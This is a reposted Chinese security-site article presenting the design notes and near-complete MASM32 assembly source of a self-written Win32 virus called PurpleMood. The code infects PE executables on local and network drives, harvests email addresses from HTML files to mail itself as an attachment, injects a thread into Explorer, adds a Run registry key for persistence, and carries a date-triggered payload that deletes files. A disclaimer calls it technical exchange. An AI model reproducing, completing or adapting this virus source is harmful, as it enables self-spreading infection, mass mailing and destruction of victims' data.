xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 English Version

Win32.PurpleMood.6736技术文档


创建时间:2002-07-21
文章属性:转载
文章来源:XPurpleMood@163.com
文章提交:squirrel (suruixuan1_at_sina.com)

病毒名称 :PurpleMood (紫色心情)
适用环境: Win9x/Winnt/Win2k/Winxp
编写环境: Win2k,Masm32v6
简    介:1. 感染本地硬盘和网络上所有exe(GUI)文件      
          2. 搜索本地所有邮件地址,将病毒作为附件发送出去
          3. 在Explorer进程中注入线程监控程序的运行。
          4. 每月15日,发作。删除硬盘所有文件。
          
完成日期: 2002/6/20
版  本: v1.0
大  小: 6736(byte)
联系地址:  XPurpleMood@163.com
警 告 : 以下程序(方法)可能带有攻击性,仅供技术交流。使用者风险自负!若有其他用途,概与本人无关。万一有转贴,请保持完整性,多谢!
*************************************************
工作流程:
1.首先得到重定位信息,保存在ebx中.
2.调用GetKBase ,得到Kernel32.dll的基地址。
3.调用GetAPIz,得到程序将使用的Kernel32中所有API.
4. 调用PayLoad判断是否满足发作条件,是则删除所有文件。否则继续。
5.判断是被感染文件还是自身(病毒在系统目录创建PurpleMood.scr).
6. 是染毒文件,则调用CreatePE来创建PurpleMood.scr,初始化(rtInit)写注册表项所需函数地址。调用MakeSCRAlive使PurpleMood.scr保持活动。
7. 如果是PurpleMood.scr,则CreateMutex设置标志,然后启动监控线程,感染PE线程,在主线程中发送邮件。

说明:
    将程序中test@pact518.hit.edu.cn替换为自己的邮件
    pact518.hit.edu.cn替换为自己的smtp服务器。
    在d:建立test目录,里面放几个exe.实验用。
    
技巧与难点分析
1.重定位信息的确定
  VStart:                          ;virus starts here :)
        call  start
  start:
        pop   ebx
        sub   ebx , offset start
  A     dd    0            
  这段代码在哪里执行都一样!现在得到的ebx就是重定位信息。
  变量A的偏移就是ebx + offset A.因为offset A是程序的第一条指令放到内存地址0时的偏移,但实际上放到了ebx.
  也可以这么理解:
  执行call start时(相当于push eip+jmp start),eip指向pop ebx,因为eip总是下一条指令的地址。pop ebx就把栈顶的eip存贮到ebx中。start在内存中(虚拟内存)的线形地址就放到ebx中了。那么A的地址显然就是(offset A - offset start)+ebx ,我们先 sub   ebx , offset start,这样以后访问A就可以直接写offset A+ebx方便些。两种理解方法实际上是一样的。

2. RVA的含义
   在CreatePE创建PurpleMood.scr和得到GetProcAddress的时候,多次使用这个概念。
   exe或dll被加载到内存,注意,都是虚拟内存,4G空间。实际上把exe文件拉大了,就好象斜阳把人的影子拉长一样。
   比如exe中代码段在文件偏移200h处,很可能在内存中偏移是1000h处,这个1000h就是RVA.RVA是距离影象的base的偏移。
  下面形象解释:
   在文件的第200h个字节就是代码段的第一条指令了(当然,未必是start).而1000h不是真正地址。比如 exe影象是00400000h,则代码段的第一条指令就是00400000h+1000h了。HMODULE就是DWORD,或者是int *,char *等,都一样。
  我们用HMODULE p=LoadLirary("a.dll"),返回值就是a.dll被加载到内存(4G)的首地址。此时叫做影象(image).
  与offset区别:
  我要说的这个offset是程序中使用的。
      比如写个小程序:
      .data
      b db 0
      a db 'abc',0
      .code
      start:
      mov  eax,offset a
      ...
      那么这个offset a是多少由compiler确定。我想是算出来的。这么计算:
           比如code的RVA是1000h,data的RVA是2000h.ImageBase=00400000h,那么a被加载后的地址就是
           00400000h+2000h+1(b占一个字节),那么offset a编译成00402001。
           事实上,我们的exe总能加载到ImageBase指定的位置,Loader不必在重定位。
   以上分析不保证正确!都是个人理解。          
          
3. @pushsz 宏.
   @pushsz MACRO  str
   LOCAL next
   call  next  ;执行 call next的时候, eip->db str,0,那么eip就被压栈
   db    str,0    
   next:
   ENDM
   @pushsz 'abc' <=> a db 'abc',0 .... mov eax,offset a,push eax
   是在RoachCock的帮助下写的。
  
4. CreateRemoteThread网上很多介绍。
   关键是地址问题。同样得到重定位信息。

5. 几个小问题
   ret    相当于 pop eip.
   ret 4  相当于 pop eip + sub esp,4
   call l 相当于 push eip+ jmp l
   使用api时都保存esi,edi,ebx,ebp他们不会被改变,而ecx,edx等就不保了。需要自己保存。
   mov    eax,12345678h
_CreateRemoteThread = dword ptr $-4
  call   eax   ;run remote thread!
  _CreateRemoteThread就相当一个标号(比如 start: ... l: ...)
  它指向12345678占用的4个字节。


1.     主要函数说明
1.1 GetKBase
功能:获得Kernel32.dll模块的首地址
原理:主线程执行的第一条指令应该是BaseThreadStart的指令,在这个函数中调用的VStart(程序入口),返回地址进栈,
既程序执行完时,应该返回到BaseStartProcess函数。这个函数在Kernel32中,它的指令地址就在kernel32模块空间中并且大于HModule以它为基础,以64k(10000h)(分配粒度)为单位向上搜索具有PE结构的模块。

1.2 GetAPIz
功能:  得到将使用的Kernel32中的API线形地址
原理: 分析K32模块,在它的EXPORT表中找到GetProcAddress的地址。然后,利用GetProcAddress得到其他函数地址。

1.3 EnumDir
功能: 遍历指定目录,寻找指定类型的文件。
输入: DirName  : DWORD ,FileType:DWORD
      局部变量:LOCAL   hSearch   : DWORD
      LOCAL   DirorFile[MAX_PATH]  : DWORD
      DirName是常量。DirorFile存放中间过程,有时是DirName\*.*、有时是
DirName\FileName或DirName\DirName.
得到一个文件后,判断是否是目录。
1. 是,则递归调用EnumDir,参数是DirorFile。
2. 否,则调用AnFile,分析文件,做相应处理。

1.4   AnFile FileName:DWORD,FileType: DWORD
功能:分析文件类型(FileType)
1. FILE_ALL: 删除文件
2. FILE_EXE: 调用InfectFile感染
3. FILE_HTM: 调用ParseHTM分析

1.5   InfectFile PROC FileName : DWORD
功能: 感染FileName指定文件
流程:
1. 打开文件,分析文件,是否是合法的PE文件,不是则返回。
2. 查看感染标,已经感染则返回。
3. 判断文件是否有剩余空间存放病毒的Section,没有则返回。
4. 更新文件,添加新节,写入病毒代码,设置新节为可读可写可执行。
5.      设置感染标志。

1.6   PEThread PROC  MReloc : DWORD      
功能:遍历硬盘和网络,得到目录后调用EnumDir。休眠后重复上述过程。
说明:Meloc参数为主线城的ebx,既重定位信息,因为新线城的Register已经清0。

1.7   EnumNetWork PROC  pNetResource : DWORD
      功能: 遍历网络的实现函数,使用MPR函数,得到一个目录后调用EnumDir,类型为FILE_EXE.

1.8   EnumDisk PROC  DirName : DWORD,FileType : DWORD
      功能:  遍历硬盘的实现函数,从c->z,得到一个目录后(如‘C:’)后调用EnumDir。

1.9   MailThread
功能:邮件线程,位于主线程。
1.9.1. 调用MailInit,对PurpleMood.scr进行Base64编码,存贮在动态分配的内存中,保留内存地址在Base64_Encoded_Data。
       初始化Socket函数。
1.9.2  开始调用EnumDisk,参数为FILE_HTM,寻找*.htm*文件。EnumDisk得到的参数以"c:"开始,将其作为目录,调用EnumDir,EnumDir找到一个.htm*后调用ParseHTM,在其中搜索mailto:字符串,其后既是MailAddr了。找到后,调用SendMail发送出去,PurpleMood.scr作为附件。然后继续分析这个htm,寻找其他邮件地址,直到文件末尾。然后返回到AnFile,在返回到EnumDir,寻找下一个htm.
1.9.3   遍历硬盘后,休息一天,重新开始。

2.0   CreatePE
功能:在系统目录创建一个PurpleMood.scr
创建类型为CREATE_NEW,既如果已经存在就返回。
文件头从MDosStub开始,这个DosStub是最小的,只有一个IMAGE_DOS_HEADER那么大。没有int 21h只类的语句,所以在Dos下不能运行。先写入文件头,在写入病毒代码,FileAliagment=200h

2.1   MonitorThread  PROC  MReloc : DWORD      
找到Explorer进程,插入rtThreadStart->rtThreadEnd的代码,监视PurpleMood.scr的运行和注册表的Run项.
Meloc和PEThread一样,同样是ebx.
2.1.1: LoadLibrary(PSAPI)
2.1.2: 初始化需要的api.
2.1.3: EnumProcesses,分析每个进程。
2.1.4: 分析过程
       1. OpenProcess (注意权限)
       2. EnumProcessModules,GetModuleBaseNameA
       3. 是Explorer.exe吗?不是返回,分析下一个进程。
       4. 是:
          1) VirtualAllocEx 2)WriteProcessMemory 3)CreateRemoteThread
            

2.2   MakeSCRAlive
1.    OpenMutex(..."GetProcAddress")
      成功说明,PurpleMood.scr在运行中。立即ReleaseMutex并CloseHandle。
这样可以避免,PurpleMood关闭后,Explorer的线程因为OpenMutex过而认为PurpleMood还在运行。
      失败,则调用RunPE,运行PurpleMood.scr.
2.    RegisterPE,在Software\Microsoft\Windows\CurrentVersion\Run写入PurpleMood,保证开机运行。

2.3   CreatePE
      1. 在系统目录创建PurpleMood.scr,如果已经存在则返回。
      2. 写入文件头
      3. 写入病毒体

源代码:

----------------------------------------------------------------------------

测试时需要D:\test.
另外,目的油箱可能需要改变,拿自己的实验吧 :)

.386
.model flat,stdcall
option casemap:none
include useful.inc
  
.data
hi    db 'hi',0
ppmm  db 'ppmm,you need no reason to love me!',0
  
.code
main:
   mov   HostEntry,offset ret_addr
   jmp   VStart
ret_addr:
   Invoke MessageBox,NULL,offset ppmm,offset hi,0
   ret
    
CODE SEGMENT

VStart:                          ;virus starts here :)
        call  start
start:
        pop   ebx
        sub   ebx , offset start            
        
        call  GetKBase
        call  GetAPIz
        
        call   PayLoad
        
        lea    esi,[offset szEXEPath+ebx]
        push   MAX_PATH
        push   esi
        push   NULL
        mov    eax , 12345678h
_GetModuleFileNameA = dword ptr $-4
        call   eax                            
        
        lea    edi,[offset szFilePath+ebx]        
        push   50
        push   edi
        mov    eax , 12345678h
_GetSystemDirectoryA = dword ptr $-4
        call   eax                                            
        add    eax,FNameSize
        mov    SCRPathSize[ebx],eax

        lea    eax,[offset szFileName+ebx]        
        push   eax
        push   edi
        mov    eax , 12345678h
_lstrcat       = dword ptr $-4
        call   eax                                            
        
        push   esi
        push   edi  
        mov    eax , 12345678h
_lstrcmpi      = dword ptr $-4
        call   eax      
        or     eax,eax
        jz     StartInfect
                    
        call   CreatePE              
        call   rtInit
        call   MakeSCRAlive
Ret2Host:
        push   HostEntry[ebx]
        ret                    ;此时栈顶为HostEntry,返回正常入口执行

StartInfect:                
        lea    eax,[offset nGetProcAddress+ebx] ;Mutex name
        push   eax
        push   FALSE
        push   NULL
        mov    eax , 12345678h
_CreateMutex   = dword ptr $-4
        call   eax
              
        lea    eax,[offset MonitorThread + ebx]
        push   0
        push   0
        push   ebx                   ;I pass 0 first :(
        push   eax
        push   0
        push   0
        mov    eax , 12345678h
_CreateThread  = dword ptr $-4
        call   eax                                    

        lea    eax,[offset PEThread + ebx]
        push   0
        push   0
        push   ebx                   ;I pass 0 first :(
        push   eax
        push   0
        push   0
        call   _CreateThread[ebx]                            
                
        call   MailThread            ;while(TRUE)
      
;**********获得image of kernel32.dll的基址*****************
GetKBase:
          mov   edi , [esp+4]
          and   edi , 0FFFF0000h
          .while TRUE
              .if WORD ptr [edi] == IMAGE_DOS_SIGNATURE
                  mov  esi, edi
                  add  esi, [esi+03Ch]
                  .if  DWORD ptr [esi] == IMAGE_NT_SIGNATURE
                       .break
                  .endif
              .endif
              sub  edi, 010000h
              .if edi < MIN_KERNEL_SEARCH_BASE   ;win9x
                   mov  edi, 0bff70000h   ;0bff7000h=9x'base
                   .break
              .endif
           .endw
           mov    hKernel32[ebx],edi
           ret

GetAPIz:
         mov     edx,edi                      ;edx->Kernel32_Base
         assume  edx :ptr IMAGE_DOS_HEADER
         add     edx,[edx].e_lfanew
         assume  edx:ptr IMAGE_NT_HEADERS
         mov     edx,[edx].OptionalHeader.DataDirectory.VirtualAddress
         add     edx,hKernel32[ebx]
         assume  edx:ptr IMAGE_EXPORT_DIRECTORY
         mov     ebp,[edx].AddressOfNames
         add     ebp,hKernel32[ebx]  ;now ebp=Addr of RVAofName[]
         xor     eax,eax             ;eax AddressOfNames Index
          
        .repeat
             push  14        ;Lenth of GetProcAddress
             pop   ecx
             mov   edi,[ebp]
             add   edi,hKernel32[ebx]
             lea   esi,[offset nGetProcAddress+ebx]
             repz  cmpsb
             .if   zero?
                   .break
             .endif
             add   ebp,4        ;下一个RVA
             inc   eax
        .until  eax == [edx].NumberOfNames
        
        mov     ebp, [edx].AddressOfNameOrdinals
        add     ebp, hKernel32[ebx]
        movzx   ecx, word ptr [ebp+eax*2]
        mov     ebp, [edx].AddressOfFunctions   ;get addr of the api
        add     ebp, hKernel32[ebx]
        mov     eax, [ebp+ecx*4]
        add     eax,hKernel32[ebx]    
        mov     _GetProcAddress[ebx],eax   ;Save GetProcAddress        
        
GetOApiz:

         call @api_table
         db  'LoadLibraryA',0
         db  'CreateThread',0
         db  'CreateRemoteThread',0
         db  'WinExec',0
         db  'CreateMutexA',0
         db  'OpenMutexA',0        
         db  'ReleaseMutex',0
         db  'FindFirstFileA',0
         db  'FindNextFileA',0
         db  'FindClose',0
         db  'CreateFileA',0
         db  'CreateFileMappingA',0
         db  'MapViewOfFile',0
         db  'UnmapViewOfFile',0
         db  'SetFilePointer',0
         db  'WriteFile',0
         db  'CloseHandle',0
         db  'VirtualAlloc',0
         db  'VirtualAllocEx',0
         db  'WriteProcessMemory',0
         db  'VirtualFree',0
         db  'VirtualFreeEx',0
         db  'lstrcmpi',0
         db  'lstrcpy',0
         db  'lstrcat',0
         db  'lstrlen',0
         db  'GetFileSize',0
         db  'GetSystemDirectoryA',0
         db  'GetModuleFileNameA',0
         db  'Sleep',0
         db  'GetSystemTime',0
         db  'DeleteFileA',0
         db  'OpenProcess',0
@api_table:
         pop    edi
         call @api_dest  
K_Apiz:
         dd   offset  _LoadLibraryA
         dd   offset  _CreateThread          
         dd   offset  _CreateRemoteThread
         dd   offset  _WinExec
         dd   offset  _CreateMutex          
         dd   offset  _OpenMutex  
         dd   offset  _ReleaseMutex      
         dd   offset  _FindFirstFile          
         dd   offset  _FindNextFile          
         dd   offset  _FindClose              
         dd   offset  _CreateFile            
         dd   offset  _CreateFileMapping      
         dd   offset  _MapViewOfFile      
         dd   offset  _UnmapViewOfFile
         dd   offset  _SetFilePointer        
         dd   offset  _WriteFile        
         dd   offset  _CloseHandle
         dd   offset  _VirtualAlloc          
         dd   offset  _VirtualAllocEx
         dd   offset  _WriteProcessMemory
         dd   offset  _VirtualFree    
         dd   offset  _VirtualFreeEx
         dd   offset  _lstrcmpi          
         dd   offset  _lstrcpy
         dd   offset  _lstrcat              
         dd   offset  _lstrlen              
         dd   offset  _GetFileSize          
         dd   offset  _GetSystemDirectoryA  
         dd   offset  _GetModuleFileNameA
         dd   offset  _Sleep    
         dd   offset  _GetSystemTime        
         dd   offset  _DeleteFile        
         dd   offset  _OpenProcess          
K_API_NUM   =  ($-K_Apiz)/4
@api_dest:
        pop      esi        
        push     K_API_NUM
        pop      ecx        
        xor      ebp,ebp  
K_begin:
        push     ecx
        push     edi
        push     hKernel32[ebx]
        call     _GetProcAddress[ebx]
        or       eax,eax
        jz       GA_Fail
        mov      edx , [esi+ebp]  
        mov      dword ptr [edx+ebx],eax
        xor      eax,eax
        repnz    scasb          ;寻找字符串结束标志0,使edi指向下个函数名
        add      ebp,4
        pop      ecx
        loop     K_begin
                
        @pushsz  'MPR.dll'
        call     _LoadLibraryA[ebx]
        or       eax,eax
        jz       short GA_Fail        
        xchg     esi,eax                        ;HMODULE of MPR.dll
        
Mpr_begin:
            
        @pushsz  'WNetOpenEnumA'
        push     esi
        call     _GetProcAddress[ebx]        
        mov      _WNetOpenEnum[ebx],eax
        @pushsz  'WNetEnumResourceA'
        push     esi
        call     _GetProcAddress[ebx]
        mov      _WNetEnumResource[ebx],eax
        @pushsz  'WNetCloseEnum'
        push     esi
        call     _GetProcAddress[ebx]
        mov      _WNetCloseEnum[ebx],eax
        
GA_Fail:          
        ret
          
PayLoad:        
        call   @PL1
SystemTime     SYSTEMTIME  <>
@PL1:   mov    esi,[esp]
        mov    eax , 12345678h
_GetSystemTime = dword ptr $-4
        call   eax          
                
movzx  eax , word ptr [esi+6]           ;SystemTime.wDay
cmp    ax,14h               ;15号吗?
jnz    PL_Exit
KILL:        
        push    FILE_ALL
        @pushsz 'd:\test'
        call    EnumDir
PL_Exit:
        ret
    
;*********************************************
;the thread begin to enum all file in disk and
;network , when it finds a pe file Infect it!
;*********************************************
PEThread PROC  MReloc : DWORD      

PT_Work:    
     mov      ebx,MReloc    
    
     push     FILE_EXE
     @pushsz  'd:\test'
     call     EnumDir
                        
     ;push     NULL
     ;call     EnumNetWork
    
     push     1000*60*60           ;sleep an hour:)
     call     _Sleep[ebx]
     jmp      short PT_Work
    
PEThread ENDP
    
;枚举网络邻居
EnumNetWork PROC  pNetResource : DWORD
      
      LOCAL   hEnum       : DWORD
      LOCAL   Count       : DWORD
      LOCAL   BufferSize  : DWORD
      
      pushad
      push    0FFFFFFFFh
      pop     Count
      push    16*1024
      pop     BufferSize
      
      lea     eax , hEnum    
      push    eax
      push    pNetResource
      push    0
      push    RESOURCETYPE_DISK
      push    RESOURCE_GLOBALNET
      mov     eax , 12345678h
_WNetOpenEnum = dword ptr $-4
      call    eax                      
      or      eax,eax
      jnz     EN_Exit
      
      push    PAGE_READWRITE
      push    MEM_RESERVE or MEM_COMMIT
      push    16*1024
      push    0
      mov     eax , 12345678h
_VirtualAlloc = dword ptr $-4
      call    eax                              
      or      eax,eax
      jz      short EN_Close
      mov     pNetResource,eax    

      lea     eax,BufferSize
      push    eax
      push    pNetResource
      lea     eax,Count
      push    eax
      push    hEnum
      mov     eax , 12345678h
_WNetEnumResource  = dword ptr $-4
      call    eax                
      or      eax,eax
      jnz     short EN_Free
          
      mov     ecx,Count
      mov     edi,pNetResource
      assume  edi:ptr NETRESOURCEA

EN_Loop:
      push    ecx
      mov     eax,[edi].dwUsage
      and     al,2
      .IF     al == 2
      
              push    edi        
              call    EnumNetWork          
      .ELSE
              mov     eax,[edi].lpRemoteName              
              push    FILE_EXE
              push    eax
              call    EnumDir

      .ENDIF
      add     edi,20h   ; sizeof NETRESOURCE
      pop     ecx
loop EN_Loop

EN_Free:
      push     MEM_RELEASE
      push     0
      push     pNetResource  
      mov      eax , 12345678h
_VirtualFree   = dword ptr $-4
      call     eax  
      
EN_Close:  
      push     hEnum
      mov      eax , 12345678h
_WNetCloseEnum = dword ptr $-4
      call     eax  
      
EN_Exit:
      popad
      ret  4
EnumNetWork ENDP

;************InfectDisk***********************
;遍历本地硬盘,从C盘到Z盘,调用EnumDir遍历所有exe
;*********************************************
EnumDisk PROC  DirName : DWORD,FileType : DWORD
        
       .REPEAT      
               push  FileType
               push  DirName
               call  EnumDir
                            
               mov   eax,DirName
               inc   byte ptr [eax]              
               mov   al,byte ptr[eax]      
       .UNTIL  al > 'z'
       mov  byte ptr [eax] , 'c'
      
       ret  8
      
EnumDisk  ENDP
  
;************EnumDir************
;遍历DirName,寻找FileType类型文件
;*******************************
EnumDir PROC   DirName  : DWORD , FileType:DWORD

        LOCAL   hSearch              : DWORD
        LOCAL   DirorFile[MAX_PATH]  : DWORD

        pushad          
        push    DirName
        lea     esi,DirorFile
        push    esi
        mov     eax , 12345678h
_lstrcpy        = dword ptr $-4
        call    eax  
                
        @pushsz '\*.*'
        push    esi                          ;DirorFile
        call    _lstrcat[ebx]
        
        lea    edi,[offset wfd+ebx]
        push   edi
        push   esi
        mov     eax , 12345678h
_FindFirstFile = dword ptr $-4
        call    eax          
        cmp    eax,INVALID_HANDLE_VALUE      
        jz     ED_Exit
        mov    hSearch,eax

        .REPEAT
            .if    byte ptr [wfd+44+ebx]=='.'
                   jmp short EN_NEXT
            .endif

            push    DirName
            push    esi
            call    _lstrcpy[ebx]

            @pushsz '\'
            push    esi
            call    _lstrcat[ebx]
          
            lea     eax,[wfd+44+ebx]
            push    eax
            push    esi                        ;DirorFile
            call    _lstrcat[ebx]

            mov     eax , dword ptr [wfd+ebx]
            and     eax , FILE_ATTRIBUTE_DIRECTORY
            .if     eax ==FILE_ATTRIBUTE_DIRECTORY
                    push   dword ptr FileType
                    push   esi
                    call   EnumDir
            .else                                    ;是文件        
            
                    push   dword ptr FileType
                    push   esi
                    call   AnFile
            .endif        
EN_NEXT:    
            push   edi                    
            push   hSearch
            mov    eax , 12345678h
_FindNextFile      = dword ptr $-4
            call   eax  
            
        .UNTIL  eax==0                ;FindNexeFile fail
        
ED_Close:
         push   hSearch
         mov    eax , 12345678h
_FindClose      = dword ptr $-4
         call   eax          
ED_Exit:    
         popad
         ret   8
EnumDir ENDP


;分析文件类型,入口参数为文件名和欲匹配类型(exe或htm)
AnFile PROC  FileName:DWORD,FileType:DWORD

        pushad
        
AF_00:  lodsb
        or   al,al
        jnz  AF_00
        .if       FileType == FILE_ALL   ;all              
                  push  FileName
                  mov     eax , 12345678h
_DeleteFile       = dword ptr $-4
                  call    eax                    
        .elseif   FileType == FILE_EXE   ;exe        
                   mov  eax,[esi-5]
                  .if  eax == 'exe.'                            
                      push   FileName
                      call   InfectFile
                  .endif                        
        .else                            ;FileType = FILE_HTM
AF_01:            sub  esi , 2
                  lodsb
                  cmp  al,'.'
                  jnz  AF_01
                  mov  eax,[esi-1]  
                  .if  eax == 'mth.'                        
                      push    FileName
                      call    Parse_HTM
                  .endif                    
        .endif
        popad
        ret 8
AnFile ENDP

;感染PE文件
InfectFile PROC FileName : DWORD

        LOCAL   hFile    : DWORD
        LOCAL   hMapping : DWORD
        LOCAL   pMapping : DWORD
        LOCAL   ByteWrite: DWORD

        pushad
        push  NULL
        push  FILE_ATTRIBUTE_NORMAL
        push  OPEN_EXISTING
        push  NULL
        push  FILE_SHARE_READ+FILE_SHARE_WRITE
        push  GENERIC_READ+GENERIC_WRITE
        push  FileName
        mov     eax , 12345678h
_CreateFile = dword ptr $-4
        call    eax        
        cmp   eax,INVALID_HANDLE_VALUE
        jz    IF_Exit
        mov   hFile,eax

        push   0
        push   0
        push   0
        push   PAGE_READWRITE
        push   NULL
        push   hFile
        mov     eax , 12345678h
_CreateFileMapping = dword ptr $-4
        call    eax  
        or     eax,eax
        jz     IF_F3        
        mov    hMapping , eax

        push   0
        push   0
        push   0
        push   FILE_MAP_READ+FILE_MAP_WRITE
        push   hMapping
        mov    eax , 12345678h
_MapViewOfFile = dword ptr $-4
        call   eax                  
        or     eax,eax
        jz     IF_F2            
        mov    pMapping,eax            
        mov    esi,eax
      
        assume esi :ptr IMAGE_DOS_HEADER
        .IF  [esi].e_magic!=IMAGE_DOS_SIGNATURE  
             jmp  IF_F1
        .ENDIF
      
        .IF  [esi].e_lfarlc!=040h
             jmp  IF_F1
        .ENDIF
        
        add  esi,[esi].e_lfanew                 ;此时edx指向PE文件头
        assume esi:ptr IMAGE_NT_HEADERS
        .IF  [esi].Signature!=IMAGE_NT_SIGNATURE    ;是PE文件吗?
             jmp  IF_F1
        .ENDIF
        .IF word ptr [esi].OptionalHeader.Subsystem!=2
             jmp  IF_F1
        .ENDIF
        
        .IF word ptr [esi+1ah]==0815h
             jmp  IF_F1
        .ENDIF
        
        mov  eax,[esi].OptionalHeader.AddressOfEntryPoint
        add  eax,[esi].OptionalHeader.ImageBase
        mov  HostEntry[ebx],eax                      ;保存原入口
;***************************************************************
;判断是否有足够空间存储新节
;28h=sizeof IMAGE_SECTION_HEADER
;18h=sizeof IMAGE_FILE_HEADER+Signature
;edi将指向新节
;***************************************************************
        movzx  eax,[esi].FileHeader.NumberOfSections
        mov    ecx,28h
        mul    ecx      
        
        lea    edi,[esi]
        sub    edi,pMapping
        add    eax,edi
        add    eax,18h                        
        movzx  edi,[esi].FileHeader.SizeOfOptionalHeader
        add    eax,edi
        mov    edi,eax
        add    edi,pMapping              ;I forgot this first
        add    eax,28h
        
        .IF  eax>[esi].OptionalHeader.SizeOfHeaders
             jmp  IF_F1
        .ENDIF

;*****************************************
;空间允许, ^0^,开始插入新节并填充各字段
;esi指向原文件最后一个节,利用它来填充新节某些字段
;*****************************************

        inc  [esi].FileHeader.NumberOfSections      
        assume  edi:ptr IMAGE_SECTION_HEADER
        mov     dword ptr[edi],00736A78h   ;'xjs'
        push [esi].OptionalHeader.SizeOfImage
        pop  [edi].VirtualAddress
        mov  eax,offset VEnd-offset VStart
        mov  [edi].Misc.VirtualSize,eax
        mov  ecx,[esi].OptionalHeader.FileAlignment
        div  ecx
        inc  eax
        mul  ecx
        mov  [edi].SizeOfRawData,eax

        lea  eax,[edi-28h+14h]                ;PointerToRawData
        mov  eax,[eax]
        lea  ecx,[edi-28h+10h]                ;SizeOfRawData
        mov  ecx,[ecx]
        add  eax,ecx
        mov  [edi].PointerToRawData,eax
        mov  [edi].Characteristics,0E0000020h  ;可读可写可执行
  
;***************************************************************
;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行
;***************************************************************

        mov  eax,[edi].Misc.VirtualSize
        mov  ecx,[esi].OptionalHeader.SectionAlignment
        div  ecx
        inc  eax
        mul  ecx
        add  eax,[esi].OptionalHeader.SizeOfImage
        mov  [esi].OptionalHeader.SizeOfImage,eax
        mov  eax,[edi].VirtualAddress
        mov  [esi].OptionalHeader.AddressOfEntryPoint,eax
        mov  word ptr [esi+1ah],0815h   ;写入感染标志

        push  FILE_BEGIN
        push  0
        push  [edi].PointerToRawData
        push  hFile
        mov   eax , 12345678h
_SetFilePointer = dword ptr $-4
        call  eax  
        
;****************************************************************
;设置文件指针到结尾后,写入从VStart开始的代码,大小经过文件对齐
;****************************************************************
        push  0
        lea   eax,ByteWrite
        push  eax
        push  [edi].SizeOfRawData
        lea   eax,[offset VStart+ebx]
        push  eax
        push  hFile
        mov   eax , 12345678h
_WriteFile = dword ptr $-4
        call  eax  

IF_F1:
       push  pMapping
        mov     eax , 12345678h
_UnmapViewOfFile = dword ptr $-4
        call    eax        
IF_F2:
       push  hMapping
       call  _CloseHandle[ebx]      
IF_F3:
       push  hFile
       call  _CloseHandle[ebx]
IF_Exit:
       popad
       ret  4
InfectFile ENDP      


;*****************电子邮件传播线程***************************
;从本地、网络的*.htm*获得邮件地址.
;***********************************************************
MailThread:
           call   MailInit
MT_Work:

           push    FILE_HTM
           @pushsz 'c:'
           call    EnumDisk
    
           push   1000*60*60*24           ;sleep a day :)
           call   _Sleep[ebx]
           jmp    short  MT_Work
          
;*********************************************************    
;Mutate virus to BASE64 only once
;*********************************************************  
MailInit PROC

        LOCAL  hFile    : DWORD
        LOCAL  hMapping : DWORD
        LOCAL  pMapping : DWORD
    
        pushad
        xor    edi,edi
        push   edi
        push   FILE_ATTRIBUTE_NORMAL
        push   OPEN_EXISTING
        push   edi
        push   FILE_SHARE_READ
        push   GENERIC_READ
        lea    eax,[offset szFilePath+ebx]
        push   eax
        call   _CreateFile[ebx]
        mov    hFile,eax
        
        push   edi
        push   edi
        push   edi
        push   PAGE_READONLY
        push   edi
        push   eax
        call   _CreateFileMapping[ebx]
        mov    hMapping,eax

        push   edi
        push   edi
        push   edi
        push   FILE_MAP_READ
        push   eax
        call   _MapViewOfFile[ebx]
        mov    pMapping,eax
        
        push   PAGE_READWRITE
        push   MEM_RESERVE or MEM_COMMIT
        push   SIZEOF_VIRUS_FILE*2
        push   edi
        call   _VirtualAlloc[ebx]
        mov    Base64_Encoded_Data[ebx],eax
            
        mov    esi,pMapping
        mov    edi,Base64_Encoded_Data[ebx]      
        call   EncodeBase64
    
      
        @pushsz  'WSOCK32.DLL'
        call     _LoadLibraryA[ebx]
        xchg      eax,edi   ;hSockDll
                  
        @pushsz  'WSAStartup'
        push     edi
        call     _GetProcAddress[ebx]
        lea      esi,[offset WSA_Data+ebx]
        push     esi
push     0202h       ;!!!warning 2.2
call     eax

        @pushsz  'socket'
        push     edi
        call     _GetProcAddress[ebx]
        mov      [offset _socket+ebx],eax
        
                
        @pushsz  'gethostbyname'
        push     edi
        call     _GetProcAddress[ebx]
        @pushsz  'pact518.hit.edu.cn'
call     eax
mov      esi,[eax+12]
lodsd
push     [eax]
pop      [offset ServIP + ebx]

@pushsz  'connect'
push     edi
        call     _GetProcAddress[ebx]
mov      [offset _connect+ebx],eax

@pushsz  'send'
push     edi
        call     _GetProcAddress[ebx]
mov      [offset _send+ebx],eax

@pushsz  'closesocket'
push     edi
        call     _GetProcAddress[ebx]
mov      [offset _closecsoket+ebx],eax  

MI_Close3:
push   pMapping
call   _UnmapViewOfFile[ebx]  
MI_Close2:
push   hMapping
call   _CloseHandle[ebx]
MI_Close:
push   hFile
call   _CloseHandle[ebx]  
MI_Exit:
        popad
        ret
MailInit ENDP

;**********************************
;esi <- Buffer with data to encode
;edi <- Destination buffer
;**********************************
EncodeBase64 Proc
      
         LOCAL  BASE64_lines : DWORD
        
         xor ecx,ecx
         mov BASE64_lines,ecx
         cld
        
BASE64encode_loop:
         cmp ecx,SIZEOF_VIRUS_FILE
         jae BASE64__exit
         xor edx,edx
         mov dh,byte ptr [esi+ecx]
         inc ecx
         cmp ecx,SIZEOF_VIRUS_FILE
         jae BASE64__00
         mov dl,byte ptr [esi+ecx]

BASE64__00:
inc ecx
        shl edx,08h
        cmp ecx,SIZEOF_VIRUS_FILE
        jae BASE64__01
        mov dl,byte ptr [esi+ecx]

BASE64__01:
  inc ecx
        mov eax,edx
        and eax,00fc0000h
        shr eax,12h
        mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
        stosb
        mov eax,edx
        and eax,0003f000h
        shr eax,0Ch
        mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
        stosb
        mov eax,edx
        and eax,00000fc0h
        shr eax,06h
        mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
        stosb

        mov eax,edx
        and eax,0000003fh
        mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
        stosb

        cmp ecx,SIZEOF_VIRUS_FILE
        jbe BASE64__02

        mov byte ptr [edi-00000001h],'='

BASE64__02:
  cmp ecx,SIZEOF_VIRUS_FILE+01h
        jbe BASE64__03
        mov byte ptr [edi-00000002h],'='
        inc BASE64_lines
        cmp BASE64_lines,00000013h
        jne BASE64encode_loop
        mov ax,0A0Dh
        stosw
        mov BASE64_lines,00000000h

BASE64__03:
  jmp BASE64encode_loop

BASE64__exit:
